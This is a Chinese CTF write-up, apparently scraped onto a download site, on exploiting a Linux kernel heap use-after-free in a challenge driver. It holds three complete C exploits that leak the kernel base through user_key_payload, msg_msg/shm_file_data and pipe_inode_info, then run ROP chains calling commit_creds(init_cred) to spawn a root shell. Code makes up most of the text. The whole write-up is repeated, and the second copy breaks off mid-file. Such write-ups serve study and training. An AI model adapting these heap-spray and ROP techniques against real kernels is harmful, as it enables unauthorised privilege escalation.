最新消息: USBMI致力于为网友们分享Windows、安卓、IOS等主流手机系统相关的资讯以及评测、同时提供相关教程、应用、软件下载等服务。

【user

互联网 admin 6浏览 0评论

【user

前言

在之前的文章中,我利用 ldt_struct 去泄漏的内核基地址,但是在内核中还存在着一些结构体可以去泄漏内核基地址。

user_key_payload 越界读泄漏内核基地址

本题并没有开启 slab_freelist_random 保护,并且可以可以同时控制两个堆块,所以可以直接打。

这里采用 user_key_payload 越界读被释放的 user_key_payload 去泄漏内核基地址。当然你也可以选择读其他的,但是这题好像不能打开 /dev/ptmx,然后我看又有这个文件,权限也有,但是不知道为啥就是打不开。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;struct node {int idx;int size;char* ptr;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}void dele(int idx)
{struct node n = { .idx = idx };ioctl(rw_fd, 0xC0DECAFE, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int main(int argc, char** argv, char** env)
{bind_core(0);int res;size_t kernel_offset;size_t buf[0x100] = { 0 };rw_fd = open("/dev/rwctf", O_RDWR);if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");// freelist 0x40 : obj0 -> obj1 -> obj2add(0, 0x40, buf); // obj0add(1, 0x40, buf); // obj1// freelist 0x40 : obj2dele(1);dele(0);// freelist 0x40 : obj0 -> obj1 -> obj2int k0 = key_alloc("pwner0", buf, 0x40-0x18); // user_key_payload0 : obj1int k1 = key_alloc("pwner1", buf, 0x40-0x18); // user_key_payload1 : obj2// freelist 0x40 : obj0key_revoke(k1);// freelist 0x40 : obj2 -> obj0dele(1);// freelist 0x40 : obj1 -> obj2 -> obj0buf[0] = buf[1] = 0;buf[2] = 0x100*8;add(1, 0x40 , buf);// freelist 0x40 : obj2 -> obj0res = key_read(k0, buf, 0x100*8);kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;binary_dump("user_key_payload data", buf, 0x100);hexx("kernel_offset", kernel_offset);puts("Hijack the Program Execution Flow");pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;add_rsp_xx += kernel_offset;hexx("add_rsp_xx", add_rsp_xx);add(0, 0x20, buf);dele(0);seq_fd = open("/proc/self/stat", O_RDONLY);dele(0);add(0, 0x20, &add_rsp_xx);asm("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;");read(seq_fd, buf, 8);hexx("UID", getuid());system("/bin/sh");return 0;
}

msg_msg+shm_file_data 泄漏内核基地址

这里最开始我也是想利用 msg_msg 去泄漏内核基地址的,但是我一直在考虑越界读,而忽略了这里我们是有一个任意大小的 UAF,所以我们可以劫持一个大小为 0x20 的 msg_segment,然后将其分配到 shm_file_data,这样就可以直接读取 init_ipc_ns 了。

这里为什么是 shm_file_data 呢?因为 msg_segment 的第一个字段是 next,而在进行 msgrcv 时,终止读取的条件就是 msg_segment->next 为空,而 shm_file_data 刚好满足这个条件。

这里我也尝试分配到 seq_operations 结构体,但是其第一个字段为 single_start 不为 NULL,导致后面直接 panic。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>#define INIT_IPC_NS 0xffffffff829ac6c0
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;struct node {int idx;int size;char* ptr;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}void dele(int idx)
{struct node n = { .idx = idx };ioctl(rw_fd, 0xC0DECAFE, &n);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};int main(int argc, char** argv, char** env)
{bind_core(0);int qid;int shm_id;char* shm_addr;size_t kernel_offset;size_t buf[0x620] = { 0 };struct msg_buf* msg = (struct msg_buf*)buf;rw_fd = open("/dev/rwctf", O_RDWR);if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");add(0, 0x20, buf);dele(0);qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);msg->m_type = 1;memset(msg->m_text, 'A', 0x1020);msgsnd(qid, msg, 0x1020-0x30-0x8, 0);dele(0);if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) err_exit("shmget");if ((shm_addr = shmat(shm_id, NULL, 0)) == -1) err_exit("shmat");msgrcv(qid, buf, 0x1020-0x30-8, 0, IPC_NOWAIT|MSG_NOERROR);binary_dump("msg data", (char*)buf+0xfd0, 0x100);kernel_offset = *(size_t*)((char*)buf+0xfd8) - INIT_IPC_NS;hexx("kernel_offset", kernel_offset);puts("Hijack the Program Execution Flow");pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;add_rsp_xx += kernel_offset;hexx("add_rsp_xx", add_rsp_xx);add(0, 0x20, buf);dele(0);seq_fd = open("/proc/self/stat", O_RDONLY);dele(0);add(0, 0x20, &add_rsp_xx);asm("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;");read(seq_fd, buf, 8);hexx("UID", getuid());system("/bin/sh");return 0;
}

pipe_buffer 劫持程序执行流

这里是参考 ctf-wiki 上的做法,并且假设开启了一些保护,比如 SLAB_FREELIST_HARDENED,CONFIG_RANDOMIZE_KSTACK_OFFSET。

这时也是采用 user_key_payload 越界读去泄漏内核基地址。但是我发现虽然 ctf-wiki 上前面是利用的堆喷搞的,但是最后劫持 pipe_buffer 时还是假设的没开相应的保护,所以直接单纯的利用堆喷去拿到 UAF 堆块给 user_key_payload 结构体。

然后的关键点就是,通过 pipe_buffer 劫持程序执行流其实就是伪造其 pipe_buf_operations 函数表,但是题目开启了 smap 保护,所以我们又不能直接将函数表伪造在用户空间,那么我们伪造在那里呢?

所以这里我们需要一个内核空间,要求这块空间可控并且知道其地址。这里我们选择 pipe_buffer。我们可以通过让 pipe_inode_info 与 user_key_payload 占用同一个堆块去泄漏 pipe_buffer 的地址,这里要注意的是 pipe_inode_info 会将 user_key_payload 的 datalen 字段覆盖为 0xffff。

当然这里你也可以用 user_key_payload 越界读去泄漏 pipe_buffer 的地址,只是这里可能需要堆喷一下 pipe_buffer,但是可能会比较难,因为我们还有控制 pipe_buffer,所以这里命中的机会可能不是很高。

这里我用堆喷 user_key_payload 去泄漏内核基地址,发现非常不稳定,但是 ctf-wiki 上的脚本是稳定的。所以这里我就不堆喷了......

 这里我们选择劫持 pipe_buf_operations->release,当我们关闭管道两端时就会调用这个函数。

struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);void (*release)(struct pipe_inode_info *, struct pipe_buffer *);bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

可以看到执行 release 时,rdi 指向的是 pipe_inode_info,rsi 指向的时 pipe_buffer,这里我们选择将内核栈迁移到 pipe_buffer 上,之所以不迁移到 pipe_inode_info 中是因为其里面保存这 pipe_buffer 指针,且其大小只有 192,所以你写的时候会覆盖 pipe_buffer 指针。

然后这里的 gadget 给我一顿好好,最后直接用 ctf-wiki 上面的,实在没找到......

最后这里直接调用 system("/bin/sh") 会出现段错误,没探究原因,大家可以自己调试一些。我直接使用的 execve 函数去启一个 shell。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t swapgs_kpti = 0xFFFFFFFF81E00F01;
size_t push_rsi_pop_rsp_pop_3 = 0xffffffff81250c9d; // PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RETstruct node {int idx;int size;char* ptr;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void get_root_shell()
{hexx("UID", getuid());
//      system("/bin/sh");char *args[] = {"/bin/sh", NULL};execve("/bin/sh", args, NULL);
}size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{asm("mov user_cs, cs;""mov user_ss, ss;""mov user_rsp, rsp;""pushf;""pop user_rflags;");info("Status saved successfully");
}int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}void dele(int idx)
{struct node n = { .idx = idx };ioctl(rw_fd, 0xC0DECAFE, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int main(int argc, char** argv, char** env)
{bind_core(0);save_status();int key[2];int pipe_key;int pipe_fd[2];char des[100];size_t n;size_t kernel_offset;size_t pipe_buffer;size_t* buf;rw_fd = open("/dev/rwctf", O_RDWR);if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");buf = (size_t*)mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);add(0, 0x40, buf);add(1, 0x40, buf);dele(1);dele(0);key[0] = key_alloc("pwn0", buf, 0x40-0x18);key[1] = key_alloc("pwn1", buf, 0x40-0x18);dele(1);buf[0] = buf[1] = 0;buf[2] = 0x100*8;add(1, 0x40, buf);key_revoke(key[1]);key_read(key[0], buf, 0x100*8);binary_dump("user_key_payload", buf, 0x100);kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;hexx("kernel_offset", kernel_offset);add(0, 192, buf);add(1, 192, buf);dele(1);dele(0);pipe_key = key_alloc("pwnerer", buf, 192-0x18);if (pipe_key < 0) err_exit("key_alloc pipe_key");add(0, 1024, buf);dele(0);dele(1);pipe(pipe_fd);n = key_read(pipe_key, buf, 0xffff);hexx("key_read len", n);binary_dump("pipe_inode_info", buf, 192-0x18);pipe_buffer = buf[16];hexx("pipe_buffer addr", pipe_buffer);size_t rop[] = {0,0,pipe_buffer+0x18,pop_rdi+kernel_offset,push_rsi_pop_rsp_pop_3+kernel_offset,pop_rdi+kernel_offset,init_cred+kernel_offset,commit_creds+kernel_offset,swapgs_kpti+kernel_offset,0,0,get_root_shell,user_cs,user_rflags,user_rsp,user_ss};binary_dump("ROP chain", rop, sizeof(rop));memcpy(buf, rop, sizeof(rop));dele(0);add(0, 1024, buf);close(pipe_fd[1]);close(pipe_fd[0]);return 0;
}

效果如下,三个脚本均可成功提权:

总结

其实 ldt_struct、user_key_payload、msg_msg 是比较常用的实现越界读和任意读的结构体,其中 ldt_struct 大小固定(0x10 slub/0x20 slab),而 user_key_payload 与 msg_msg 的大小是不固定的,但是有固定的头字段。

然后劫持程序执行流主要就是 seq_operations、tty_struct、pipe_buffer等结构体,目前我就主要接触到这三个。

然后用于泄漏内核基地址的结构体主要有 shm_file_data、user_key_payload、seq_operations、tty_struct 等等结构体,目前主要接触到这些。其中 user_key_payload 是得将 key 销毁后,其 rcu.func 会被赋值为 user_free_payload_rcu() 以此来进行泄漏。

【user

前言

在之前的文章中,我利用 ldt_struct 去泄漏的内核基地址,但是在内核中还存在着一些结构体可以去泄漏内核基地址。

user_key_payload 越界读泄漏内核基地址

本题并没有开启 slab_freelist_random 保护,并且可以可以同时控制两个堆块,所以可以直接打。

这里采用 user_key_payload 越界读被释放的 user_key_payload 去泄漏内核基地址。当然你也可以选择读其他的,但是这题好像不能打开 /dev/ptmx,然后我看又有这个文件,权限也有,但是不知道为啥就是打不开。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;struct node {int idx;int size;char* ptr;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}void dele(int idx)
{struct node n = { .idx = idx };ioctl(rw_fd, 0xC0DECAFE, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int main(int argc, char** argv, char** env)
{bind_core(0);int res;size_t kernel_offset;size_t buf[0x100] = { 0 };rw_fd = open("/dev/rwctf", O_RDWR);if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");// freelist 0x40 : obj0 -> obj1 -> obj2add(0, 0x40, buf); // obj0add(1, 0x40, buf); // obj1// freelist 0x40 : obj2dele(1);dele(0);// freelist 0x40 : obj0 -> obj1 -> obj2int k0 = key_alloc("pwner0", buf, 0x40-0x18); // user_key_payload0 : obj1int k1 = key_alloc("pwner1", buf, 0x40-0x18); // user_key_payload1 : obj2// freelist 0x40 : obj0key_revoke(k1);// freelist 0x40 : obj2 -> obj0dele(1);// freelist 0x40 : obj1 -> obj2 -> obj0buf[0] = buf[1] = 0;buf[2] = 0x100*8;add(1, 0x40 , buf);// freelist 0x40 : obj2 -> obj0res = key_read(k0, buf, 0x100*8);kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;binary_dump("user_key_payload data", buf, 0x100);hexx("kernel_offset", kernel_offset);puts("Hijack the Program Execution Flow");pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;add_rsp_xx += kernel_offset;hexx("add_rsp_xx", add_rsp_xx);add(0, 0x20, buf);dele(0);seq_fd = open("/proc/self/stat", O_RDONLY);dele(0);add(0, 0x20, &add_rsp_xx);asm("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;");read(seq_fd, buf, 8);hexx("UID", getuid());system("/bin/sh");return 0;
}

msg_msg+shm_file_data 泄漏内核基地址

这里最开始我也是想利用 msg_msg 去泄漏内核基地址的,但是我一直在考虑越界读,而忽略了这里我们是有一个任意大小的 UAF,所以我们可以劫持一个大小为 0x20 的 msg_segment,然后将其分配到 shm_file_data,这样就可以直接读取 init_ipc_ns 了。

这里为什么是 shm_file_data 呢?因为 msg_segment 的第一个字段是 next,而在进行 msgrcv 时,终止读取的条件就是 msg_segment->next 为空,而 shm_file_data 刚好满足这个条件。

这里我也尝试分配到 seq_operations 结构体,但是其第一个字段为 single_start 不为 NULL,导致后面直接 panic。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>#define INIT_IPC_NS 0xffffffff829ac6c0
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;struct node {int idx;int size;char* ptr;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}void dele(int idx)
{struct node n = { .idx = idx };ioctl(rw_fd, 0xC0DECAFE, &n);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};int main(int argc, char** argv, char** env)
{bind_core(0);int qid;int shm_id;char* shm_addr;size_t kernel_offset;size_t buf[0x620] = { 0 };struct msg_buf* msg = (struct msg_buf*)buf;rw_fd = open("/dev/rwctf", O_RDWR);if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");add(0, 0x20, buf);dele(0);qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);msg->m_type = 1;memset(msg->m_text, 'A', 0x1020);msgsnd(qid, msg, 0x1020-0x30-0x8, 0);dele(0);if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) err_exit("shmget");if ((shm_addr = shmat(shm_id, NULL, 0)) == -1) err_exit("shmat");msgrcv(qid, buf, 0x1020-0x30-8, 0, IPC_NOWAIT|MSG_NOERROR);binary_dump("msg data", (char*)buf+0xfd0, 0x100);kernel_offset = *(size_t*)((char*)buf+0xfd8) - INIT_IPC_NS;hexx("kernel_offset", kernel_offset);puts("Hijack the Program Execution Flow");pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;add_rsp_xx += kernel_offset;hexx("add_rsp_xx", add_rsp_xx);add(0, 0x20, buf);dele(0);seq_fd = open("/proc/self/stat", O_RDONLY);dele(0);add(0, 0x20, &add_rsp_xx);asm("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;");read(seq_fd, buf, 8);hexx("UID", getuid());system("/bin/sh");return 0;
}

pipe_buffer 劫持程序执行流

这里是参考 ctf-wiki 上的做法,并且假设开启了一些保护,比如 SLAB_FREELIST_HARDENED,CONFIG_RANDOMIZE_KSTACK_OFFSET。

这时也是采用 user_key_payload 越界读去泄漏内核基地址。但是我发现虽然 ctf-wiki 上前面是利用的堆喷搞的,但是最后劫持 pipe_buffer 时还是假设的没开相应的保护,所以直接单纯的利用堆喷去拿到 UAF 堆块给 user_key_payload 结构体。

然后的关键点就是,通过 pipe_buffer 劫持程序执行流其实就是伪造其 pipe_buf_operations 函数表,但是题目开启了 smap 保护,所以我们又不能直接将函数表伪造在用户空间,那么我们伪造在那里呢?

所以这里我们需要一个内核空间,要求这块空间可控并且知道其地址。这里我们选择 pipe_buffer。我们可以通过让 pipe_inode_info 与 user_key_payload 占用同一个堆块去泄漏 pipe_buffer 的地址,这里要注意的是 pipe_inode_info 会将 user_key_payload 的 datalen 字段覆盖为 0xffff。

当然这里你也可以用 user_key_payload 越界读去泄漏 pipe_buffer 的地址,只是这里可能需要堆喷一下 pipe_buffer,但是可能会比较难,因为我们还有控制 pipe_buffer,所以这里命中的机会可能不是很高。

这里我用堆喷 user_key_payload 去泄漏内核基地址,发现非常不稳定,但是 ctf-wiki 上的脚本是稳定的。所以这里我就不堆喷了......

 这里我们选择劫持 pipe_buf_operations->release,当我们关闭管道两端时就会调用这个函数。

struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);void (*release)(struct pipe_inode_info *, struct pipe_buffer *);bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

可以看到执行 release 时,rdi 指向的是 pipe_inode_info,rsi 指向的时 pipe_buffer,这里我们选择将内核栈迁移到 pipe_buffer 上,之所以不迁移到 pipe_inode_info 中是因为其里面保存这 pipe_buffer 指针,且其大小只有 192,所以你写的时候会覆盖 pipe_buffer 指针。

然后这里的 gadget 给我一顿好好,最后直接用 ctf-wiki 上面的,实在没找到......

最后这里直接调用 system("/bin/sh") 会出现段错误,没探究原因,大家可以自己调试一些。我直接使用的 execve 函数去启一个 shell。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
